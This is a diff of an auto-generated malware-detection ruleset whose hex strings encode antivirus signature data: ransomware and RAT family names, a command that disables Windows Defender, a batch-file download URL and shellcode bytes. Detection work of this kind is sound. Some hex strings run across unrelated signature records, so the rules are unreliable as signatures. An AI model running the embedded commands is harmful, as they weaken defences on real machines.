84 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 6c 65 75 72 67 61 73 2e 41 21 64 68 61 00 01 00 0f 01 68 74 6d 6c 3f 73 65 73 73 69 6f 6e 3d 25 73 01 00 20 01 68 74 74 70 3a 2f 2f 25 73 2f 69 6e 64 65 78 2e 73 6f 72 74 2e 66 } //26998 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25449+(#a_01_2 & 1)*29281+(#a_65_3 & 1)*26998) >=3 + +} +rule _InfrastructureShared_9204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -92482,7 +98184,7 @@ rule _InfrastructureShared_8677{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*26927+(#a_74_2 & 1)*26625+(#a_01_3 & 1)*27748) >=3 } -rule _InfrastructureShared_8678{ +rule _InfrastructureShared_9205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -92495,7 +98197,7 @@ rule _InfrastructureShared_8678{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26158+(#a_43_2 & 1)*17732+(#a_6c_3 & 1)*29811) >=3 } -rule _InfrastructureShared_8679{ +rule _InfrastructureShared_9206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -92508,7 +98210,7 @@ rule _InfrastructureShared_8679{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*25976+(#a_01_2 & 1)*18802+(#a_3a_3 & 1)*384) >=3 } -rule _InfrastructureShared_8680{ +rule _InfrastructureShared_9207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -92522,7 +98224,7 @@ rule _InfrastructureShared_8680{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*24833+(#a_61_2 & 1)*29795+(#a_53_3 & 1)*14918+(#a_63_4 & 1)*27749) >=3 } -rule _InfrastructureShared_8681{ +rule _InfrastructureShared_9208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -92534,7 +98236,7 @@ rule _InfrastructureShared_8681{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28265+(#a_00_2 & 1)*4) >=4 } -rule _InfrastructureShared_8682{ +rule _InfrastructureShared_9209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -92547,7 +98249,7 @@ rule _InfrastructureShared_8682{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*28524+(#a_65_2 & 1)*31077+(#a_6a_3 & 1)*18804) >=4 } -rule _InfrastructureShared_8683{ +rule _InfrastructureShared_9210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -92559,7 +98261,7 @@ rule _InfrastructureShared_8683{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*384+(#a_2e_3 & 1)*25445) >=4 } -rule _InfrastructureShared_8684{ +rule _InfrastructureShared_9211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -92572,7 +98274,7 @@ rule _InfrastructureShared_8684{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29806+(#a_69_2 & 1)*24931+(#a_32_3 & 1)*28265) >=4 } -rule _InfrastructureShared_8685{ +rule _InfrastructureShared_9212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -92585,7 +98287,7 @@ rule _InfrastructureShared_8685{ ((#a_6c_0 & 1)*16675+(#a_34_1 & 1)*13364+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_8686{ +rule _InfrastructureShared_9213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -92597,7 +98299,7 @@ rule _InfrastructureShared_8686{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29541+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_8687{ +rule _InfrastructureShared_9214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -92609,7 +98311,7 @@ rule _InfrastructureShared_8687{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*385+(#a_69_3 & 1)*385) >=4 } -rule _InfrastructureShared_8688{ +rule _InfrastructureShared_9215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -92617,12 +98319,12 @@ rule _InfrastructureShared_8688{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 42 31 32 33 21 4d 54 42 00 01 00 0d 81 01 63 61 6c 6c 69 67 72 61 70 68 69 73 74 01 00 0c 81 01 61 6e 74 69 6e 6f 6d 79 2e 65 78 65 01 00 0c 81 01 64 69 73 61 70 70 65 61 72 69 6e 67 01 00 21 } //18467 $a_66_1 = {61 64 73 68 61 6e 64 6c 65 6e 73 20 62 6f 75 73 65 72 20 6e 6f 6e 64 69 64 61 63 74 69 63 00 00 78 84 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 52 4a 31 32 33 21 4d 54 42 00 01 00 0b 81 01 61 6e 67 65 6c 69 63 6e 65 73 73 01 00 1a 81 01 } //385 $a_67_2 = {69 65 72 20 6d 61 6e 67 66 6f 6c 64 69 67 68 65 64 65 72 6e 65 01 00 12 81 01 6f 76 65 72 69 6e 74 65 6c 6c 65 63 74 75 61 6c 6c 79 01 00 0f 81 01 70 72 65 64 69 73 63 6f 75 6e 74 61 62 6c 65 00 00 78 84 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 48 69 76 65 52 75 73 74 2e 41 00 01 00 11 80 } //26987 - $a_6e_3 = {69 67 2f 73 72 63 2f 6c 69 62 2e 72 73 01 00 0d 80 01 4f 49 44 20 6d 61 6c 66 6f 72 6d 65 64 01 00 0f 80 01 42 43 72 79 70 74 47 65 6e 52 61 6e 64 6f 6d 01 00 1d 80 01 41 20 54 6f 6b 69 6f 20 31 2e 78 20 63 6f 6e 74 65 78 74 20 77 61 73 20 66 6f 75 6e 64 00 00 78 84 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 } //25345 + $a_6e_3 = {69 67 2f 73 72 63 2f 6c 69 62 2e 72 73 01 00 0d 80 01 4f 49 44 20 6d 61 6c 66 6f 72 6d 65 64 01 00 0f 80 01 42 43 72 79 70 74 47 65 6e 52 61 6e 64 6f 6d 01 00 1d 80 01 41 20 54 6f 6b 69 6f 20 31 2e 78 20 63 6f 6e 74 65 78 74 20 77 61 73 20 66 6f 75 6e 64 00 00 78 84 00 00 04 00 04 00 04 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 } //25345 condition: ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*385+(#a_67_2 & 1)*26987+(#a_6e_3 & 1)*25345) >=4 } -rule _InfrastructureShared_8689{ +rule _InfrastructureShared_9216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -92630,25 +98332,38 @@ rule _InfrastructureShared_8689{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 52 4a 31 32 33 21 4d 54 42 00 01 00 0b 81 01 61 6e 67 65 6c 69 63 6e 65 73 73 01 00 1a 81 01 6b 69 6e 67 6c 69 65 72 20 6d 61 6e 67 66 6f 6c 64 69 67 68 65 64 65 72 6e 65 01 00 12 81 01 6f 76 65 } //18467 $a_74_1 = {6c 6c 65 63 74 75 61 6c 6c 79 01 00 0f 81 01 70 72 65 64 69 73 63 6f 75 6e 74 61 62 6c 65 00 00 78 84 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 48 69 76 65 52 75 73 74 2e 41 00 01 00 11 80 01 63 6f 6e 66 69 67 2f 73 72 63 2f 6c 69 62 2e 72 73 01 00 0d 80 01 4f 49 44 20 6d 61 6c 66 6f 72 6d } //26994 $a_00_2 = {0f } //25701 - $a_43_3 = {79 70 74 47 65 6e 52 61 6e 64 6f 6d 01 00 1d 80 01 41 20 54 6f 6b 69 6f 20 31 2e 78 20 63 6f 6e 74 65 78 74 20 77 61 73 20 66 6f 75 6e 64 00 00 78 84 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 } //384 + $a_43_3 = {79 70 74 47 65 6e 52 61 6e 64 6f 6d 01 00 1d 80 01 41 20 54 6f 6b 69 6f 20 31 2e 78 20 63 6f 6e 74 65 78 74 20 77 61 73 20 66 6f 75 6e 64 00 00 78 84 00 00 04 00 04 00 04 00 21 23 64 6f 5f 65 78 68 } //384 condition: ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26994+(#a_00_2 & 1)*25701+(#a_43_3 & 1)*384) >=4 } -rule _InfrastructureShared_8690{ +rule _InfrastructureShared_9217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 48 69 76 65 52 75 73 74 2e 41 00 01 00 11 80 01 63 6f 6e 66 69 67 2f 73 72 63 2f 6c 69 62 2e 72 73 01 00 0d 80 01 4f 49 44 20 6d 61 6c 66 6f 72 6d 65 64 01 00 0f 80 01 42 43 72 79 70 74 47 } //21283 - $a_61_1 = {64 6f 6d 01 00 1d 80 01 41 20 54 6f 6b 69 6f 20 31 2e 78 20 63 6f 6e 74 65 78 74 20 77 61 73 20 66 6f 75 6e 64 00 00 78 84 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 79 61 74 6c 61 6e 74 69 } //28261 - $a_21_2 = {68 61 00 01 00 06 01 64 6e 73 3a 25 73 01 00 07 01 6d 6f 64 65 3a 25 64 01 00 11 01 2d 2d 2d 2d 69 63 6d 70 5f 61 72 67 73 2d 2d 2d 2d 01 00 0c 01 65 78 70 3a 20 61 74 74 2e 65 78 65 01 00 15 00 6a } //11891 - $a_06_3 = {10 00 00 68 ff ff 00 00 50 c7 45 fc e8 03 00 00 00 00 78 84 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 67 65 6e 21 4d 4c 00 02 00 0d 01 c7 00 6b 65 72 6e c7 40 04 65 6c 33 32 01 00 0d 01 c7 00 43 61 6c 6c c7 40 04 57 69 6e 64 01 00 0f 01 c7 } //20740 + $a_61_1 = {64 6f 6d 01 00 1d 80 01 41 20 54 6f 6b 69 6f 20 31 2e 78 20 63 6f 6e 74 65 78 74 20 77 61 73 20 66 6f 75 6e 64 00 00 78 84 00 00 04 00 04 00 04 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 } //28261 + $a_01_2 = {47 6f 20 62 75 69 6c 64 69 6e 66 3a } //1 Go buildinf: + $a_01_3 = {50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30 } //1 PRI * HTTP/2.0 condition: - ((#a_46_0 & 1)*21283+(#a_61_1 & 1)*28261+(#a_21_2 & 1)*11891+(#a_06_3 & 1)*20740) >=4 + ((#a_46_0 & 1)*21283+(#a_61_1 & 1)*28261+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_8691{ +rule _InfrastructureShared_9218{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 0c 01 47 6f 20 62 75 69 6c 64 69 6e 66 3a 01 00 0e 01 50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30 01 00 12 01 61 70 70 6c 69 63 61 74 69 6f 6e 2f 62 69 6e 61 72 79 01 00 1f 01 52 65 71 75 65 73 74 2d 53 74 72 65 61 6d 20 6e 6f 74 20 69 6d 70 6c 65 } //25635 + $a_74_1 = {64 2e 00 00 78 84 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 79 61 74 6c 61 6e 74 69 73 2e 42 21 64 68 61 00 01 00 06 01 64 6e 73 3a 25 73 01 00 07 01 6d 6f 64 65 3a 25 64 01 00 11 01 2d 2d 2d 2d 69 63 6d 70 5f 61 72 67 73 2d 2d 2d 2d 01 00 0c 01 65 78 70 3a 20 61 74 74 2e } //25965 + $a_01_2 = {00 15 00 6a 04 51 68 06 10 00 00 68 ff ff 00 00 50 c7 45 fc e8 03 00 00 00 00 78 84 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 67 65 6e 21 4d 4c 00 02 00 0d 01 c7 00 6b 65 72 6e c7 40 04 65 6c 33 32 01 00 0d 01 c7 00 43 61 6c 6c c7 } //30821 + $a_69_3 = {64 01 00 0f 01 c7 04 01 43 61 6c 6c c7 44 01 04 57 69 6e 64 01 00 0c 01 c7 00 56 69 72 74 c7 40 04 75 61 6c 01 00 0e 01 c7 04 01 56 69 72 74 c7 44 01 04 75 61 6c 00 00 78 84 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 } //1088 + condition: + ((#a_5f_0 & 1)*25635+(#a_74_1 & 1)*25965+(#a_01_2 & 1)*30821+(#a_69_3 & 1)*1088) >=4 + +} +rule _InfrastructureShared_9219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -92656,24 +98371,35 @@ rule _InfrastructureShared_8691{ $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 79 61 74 6c 61 6e 74 69 73 2e 42 21 64 68 61 00 01 00 06 01 64 6e 73 3a 25 73 01 00 07 01 6d 6f 64 65 3a 25 64 01 00 11 01 2d 2d 2d 2d 69 63 6d 70 5f 61 72 67 73 2d 2d 2d } //16675 $a_70_2 = {20 61 74 74 2e 65 78 65 01 00 15 00 6a 04 51 68 06 10 00 00 68 ff ff 00 00 50 c7 45 fc e8 03 00 00 00 00 78 84 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 67 65 6e 21 4d 4c 00 02 00 0d 01 c7 00 6b 65 72 6e c7 40 04 65 6c 33 32 01 00 0d 01 c7 00 43 61 6c 6c c7 40 04 57 69 6e 64 01 00 0f 01 } //25857 $a_43_3 = {6c } //1223 l - $a_01_4 = {04 57 69 6e 64 01 00 0c 01 c7 00 56 69 72 74 c7 40 04 75 61 6c 01 00 0e 01 c7 04 01 56 69 72 74 c7 44 01 04 75 61 6c 00 00 78 84 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 } //-14484 + $a_01_4 = {04 57 69 6e 64 01 00 0c 01 c7 00 56 69 72 74 c7 40 04 75 61 6c 01 00 0e 01 c7 04 01 56 69 72 74 c7 44 01 04 75 61 6c 00 00 78 84 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e } //-14484 condition: ((#a_46_0 & 1)*16675+(#a_70_2 & 1)*25857+(#a_43_3 & 1)*1223+(#a_01_4 & 1)*-14484) >=4 } -rule _InfrastructureShared_8692{ +rule _InfrastructureShared_9220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 67 65 6e 21 4d 4c 00 02 00 0d 01 c7 00 6b 65 72 6e c7 40 04 65 6c 33 32 01 00 0d 01 c7 00 43 61 6c 6c c7 40 04 57 69 6e 64 01 00 0f 01 c7 04 01 43 61 6c 6c c7 44 01 04 57 69 6e } //18467 - $a_40_3 = {75 61 6c 01 00 0e 01 c7 04 01 56 69 72 74 c7 44 01 04 75 61 6c 00 00 78 84 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 4e 46 21 4d 54 42 00 03 00 2e 03 e8 91 dc fd ff 8b 44 24 90 01 01 85 c0 0f 8d 70 01 00 00 48 8b 8c 24 90 01 04 8b 19 48 8b 84 24 90 01 04 e8 4e 69 ff ff 48 8b 8c 24 90 00 02 00 1c 03 e8 06 e8 fd ff 48 8b 44 24 90 01 01 8b 18 48 8b 44 24 90 01 01 e8 d5 74 ff ff 90 00 00 00 78 84 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 43 68 69 6c 6b 61 74 5f 53 65 6c 66 45 78 74 72 61 63 74 6f 72 00 04 } //29810 - $a_01_4 = {5a 49 50 20 32 20 53 65 63 75 72 65 20 45 58 45 00 01 00 26 03 07 d2 6c bf 21 59 ab aa 90 01 08 78 6d 6c 43 6f 6e 66 69 67 90 01 02 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 90 00 01 00 0b 03 9b e5 27 6d 02 90 01 01 00 90 00 01 00 0c 03 9b e5 27 6d 74 90 09 04 00 81 90 00 00 00 78 84 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 4c 57 31 } //4352 + $a_40_3 = {75 61 6c 01 00 0e 01 c7 04 01 56 69 72 74 c7 44 01 04 75 61 6c 00 00 78 84 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 54 65 64 79 2e 50 45 41 21 4d 54 42 00 03 00 1c 02 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 90 02 64 2e 65 78 65 90 00 02 00 2d 00 73 63 20 63 6f 6e 66 69 67 20 57 69 6e 44 65 66 65 6e 64 20 73 74 61 72 74 3d 64 69 73 61 62 6c 65 64 20 3e 20 6e 75 6c 20 32 3e 26 31 00 00 78 84 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 } //29810 + $a_72_4 = {4e 46 21 4d 54 42 00 03 00 2e 03 e8 91 dc fd ff 8b 44 24 90 01 01 85 c0 0f 8d 70 01 00 00 48 8b 8c 24 90 01 04 8b 19 48 8b 84 24 90 01 04 e8 4e 69 ff ff 48 8b 8c 24 90 00 02 00 1c 03 e8 06 e8 fd ff 48 8b 44 24 90 01 01 8b 18 48 8b 44 24 90 01 01 e8 d5 74 ff ff 90 00 00 00 78 84 00 00 05 00 05 00 04 00 } //28270 condition: - ((#a_54_0 & 1)*18467+(#a_40_3 & 1)*29810+(#a_01_4 & 1)*4352) >=4 + ((#a_54_0 & 1)*18467+(#a_40_3 & 1)*29810+(#a_72_4 & 1)*28270) >=4 } -rule _InfrastructureShared_8693{ +rule _InfrastructureShared_9221{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 54 65 64 79 2e 50 45 41 21 4d 54 42 00 03 00 1c 02 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 90 02 64 2e 65 78 65 90 00 02 00 2d 00 73 63 20 63 6f 6e 66 69 67 20 } //18467 + $a_44_1 = {66 65 6e 64 20 73 74 61 72 74 3d 64 69 73 61 62 6c 65 64 20 3e 20 6e 75 6c 20 32 3e 26 31 00 00 78 84 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 4e 46 21 4d 54 42 00 03 00 2e 03 e8 91 dc fd ff 8b 44 24 90 01 01 85 c0 0f 8d 70 01 00 00 48 8b 8c } //26967 + condition: + ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*26967) >=5 + +} +rule _InfrastructureShared_9222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -92684,7 +98410,7 @@ rule _InfrastructureShared_8693{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*-31605) >=5 } -rule _InfrastructureShared_8694{ +rule _InfrastructureShared_9223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -92697,7 +98423,7 @@ rule _InfrastructureShared_8694{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28271+(#a_65_2 & 1)*28005+(#a_00_3 & 1)*27749) >=5 } -rule _InfrastructureShared_8695{ +rule _InfrastructureShared_9224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -92711,7 +98437,7 @@ rule _InfrastructureShared_8695{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26740+(#a_01_2 & 1)*2560+(#a_69_3 & 1)*29801+(#a_69_4 & 1)*24931) >=5 } -rule _InfrastructureShared_8696{ +rule _InfrastructureShared_9225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -92725,7 +98451,7 @@ rule _InfrastructureShared_8696{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29287+(#a_44_2 & 1)*18689+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_8697{ +rule _InfrastructureShared_9226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -92739,7 +98465,7 @@ rule _InfrastructureShared_8697{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25971+(#a_54_2 & 1)*24937+(#a_70_3 & 1)*29800+(#a_4d_4 & 1)*17985) >=5 } -rule _InfrastructureShared_8698{ +rule _InfrastructureShared_9227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -92753,7 +98479,7 @@ rule _InfrastructureShared_8698{ ((#a_46_0 & 1)*21283+(#a_3a_1 & 1)*25968+(#a_00_2 & 1)*14882+(#a_70_3 & 1)*25963+(#a_5f_4 & 1)*268) >=5 } -rule _InfrastructureShared_8699{ +rule _InfrastructureShared_9228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 01 00 04 00 21 " @@ -92761,24 +98487,36 @@ rule _InfrastructureShared_8699{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 61 6b 65 54 70 6c 75 73 2e 4d 53 21 41 4d 54 42 00 01 00 0a 80 01 67 65 74 68 74 74 70 5f 77 7a 01 00 0f 80 01 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 02 00 1f 80 01 53 79 73 74 65 6d 2e 52 75 6e 74 69 } //18467 $a_43_1 = {6d 70 69 6c 65 72 53 65 72 76 69 63 65 73 02 00 0c 01 53 5f 4d 52 6d 51 4d 4f 70 65 57 5b 00 00 78 84 00 00 06 00 06 00 03 00 21 23 41 4c } //25965 $a_72_2 = {6a 61 6e 3a 57 69 6e 36 34 2f 41 73 79 6e 63 52 41 54 2e 41 52 41 46 21 4d 54 42 00 02 00 14 01 5c 52 65 6c 65 61 73 65 5c 6b 4d 61 70 70 65 72 2e 70 64 62 02 00 17 80 01 6b 4d 61 70 70 65 72 32 2e 62 61 74 20 44 6f 77 6e 6c 6f 61 64 65 72 02 00 1e 80 } //14918 - $a_74_3 = {73 3a 2f 2f 6b 31 74 65 61 6d 2e 70 6c 2f 6b 4d 61 70 70 65 72 32 2e 62 61 74 00 00 78 84 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 2e 31 00 01 00 07 01 8d a4 24 08 00 00 00 01 00 07 01 8d a4 24 0c 00 00 00 01 00 07 01 8d a4 24 10 00 00 00 01 00 07 01 8d a4 24 14 00 } //26625 + $a_74_3 = {73 3a 2f 2f 6b 31 74 65 61 6d 2e 70 6c 2f 6b 4d 61 70 70 65 72 32 2e 62 61 74 00 00 78 84 00 00 06 00 06 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 72 6b 43 6f 6d 65 74 2e 41 4d 44 4b 21 4d 54 42 00 01 00 1d 01 54 45 4d 50 5c 61 66 6f 6c 64 65 72 5c 75 6e 70 72 6f 74 65 63 74 65 64 32 2e 65 78 65 02 00 16 01 54 45 } //26625 condition: ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*25965+(#a_72_2 & 1)*14918+(#a_74_3 & 1)*26625) >=1 } -rule _InfrastructureShared_8700{ +rule _InfrastructureShared_9229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 73 79 6e 63 52 41 54 2e 41 52 41 46 21 4d 54 42 00 02 00 14 01 5c 52 65 6c 65 61 73 65 5c 6b 4d 61 70 70 65 72 2e 70 64 62 02 00 17 80 01 6b 4d 61 70 70 65 72 32 2e 62 61 74 20 44 6f 77 } //16675 - $a_61_1 = {65 72 02 00 1e 80 01 68 74 74 70 73 3a 2f 2f 6b 31 74 65 61 6d 2e 70 6c 2f 6b 4d 61 70 70 65 72 32 2e 62 61 74 00 00 78 84 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 2e 31 00 01 00 07 01 8d a4 24 08 00 00 00 01 00 07 01 8d a4 24 0c 00 00 00 01 00 07 01 } //27758 - $a_10_2 = {00 00 00 01 00 07 01 8d a4 24 14 00 00 00 01 00 07 01 8d a4 24 18 00 00 00 01 00 07 01 8d a4 24 1c 00 00 00 } //-23411 + $a_61_1 = {65 72 02 00 1e 80 01 68 74 74 70 73 3a 2f 2f 6b 31 74 65 61 6d 2e 70 6c 2f 6b 4d 61 70 70 65 72 32 2e 62 61 74 00 00 78 84 00 00 06 00 06 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 72 6b 43 6f 6d 65 74 2e 41 4d 44 4b 21 4d 54 42 00 01 00 1d 01 54 45 4d 50 5c 61 66 6f 6c 64 65 72 5c 75 6e 70 72 6f 74 } //27758 + $a_65_2 = {32 2e 65 78 65 02 00 16 01 54 45 4d 50 5c 7a 74 6d 70 5c 74 6d 70 35 31 38 37 37 2e 62 61 74 03 00 16 01 54 45 4d 50 5c 7a 74 6d 70 5c 74 6d 70 33 31 34 37 37 2e 65 78 65 00 00 78 84 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 2e 31 00 01 00 07 01 8d a4 24 08 00 00 00 } //25445 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27758+(#a_10_2 & 1)*-23411) >=6 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27758+(#a_65_2 & 1)*25445) >=6 } -rule _InfrastructureShared_8701{ +rule _InfrastructureShared_9230{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 72 6b 43 6f 6d 65 74 2e 41 4d 44 4b 21 4d 54 42 00 01 00 1d 01 54 45 4d 50 5c 61 66 6f 6c 64 65 72 5c 75 6e 70 72 6f 74 65 63 74 65 64 32 2e 65 78 65 02 00 16 01 54 45 4d 50 5c 7a 74 6d 70 5c 74 6d 70 } //18467 + $a_37_1 = {2e 62 61 74 03 00 16 01 54 45 4d 50 5c 7a 74 6d 70 5c 74 6d 70 33 31 34 37 37 2e 65 78 65 00 00 78 84 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //12597 + $a_33_2 = {2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 2e 31 